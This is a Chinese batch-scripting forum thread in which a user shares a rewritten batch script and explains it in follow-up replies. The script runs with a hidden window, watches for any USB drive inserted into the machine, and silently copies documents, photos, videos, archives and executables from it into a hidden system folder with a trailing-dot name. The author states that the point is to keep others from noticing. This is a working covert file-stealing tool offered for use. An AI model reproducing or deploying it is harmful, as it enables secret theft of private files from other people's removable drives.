[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖
这个是我根据版主的代码改写的,可以复制指定的文件类型,多线程复制 (有两个以上U盘的情况下比原代码复制较快。),变量 t 指定要复制的文件类型。变量 p 指定路径,为了不被别人发现,我将文件复制到一个特殊文件夹中 USB.. 代码如下:
  1. @Echo off
  2. SetLocal EnableDelayedExpansion
  3. If "%1"=="D" goto D
  4. If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
  5. Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
  6. Set p=%~0\..\}
  7. :F
  8. set b=0
  9. For /F "delims=驱动器:\" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
  10. :W
  11. Ping 127.1
  12. set a=-2
  13. For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
  14. If %a% leq %b% goto F
  15. Goto W
  16. :D
  17. If not exist "!p!\USB~1\" md "!p!\USB...\"&&attrib +s +h "!p!"
  18. If not exist "!p!\USB~1\%2\" md "!p!\USB~1\%2\"
  19. For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/Y
复制代码

[ 本帖最后由 crartor 于 2010-4-4 23:21 编辑 ]

TOP

实在不好意思,存在一些小错误,已经在 15 楼中更正了。

这个只要双击就会自动在后台监视移动磁盘,一旦发现就会…… ,呵呵,文件保存在 本批处理所在文件夹的 } \ USB..\ 中

TOP

标题

呵呵,在15楼中我已说明了啊:为了防别人看见,我将文件保存到一个特殊文件夹中了“ USB. ”
如果不方便,可将代码中从标签 到结尾的所有 USB... 和 USB~1 都改成 USB 就行了!

TOP

返回列表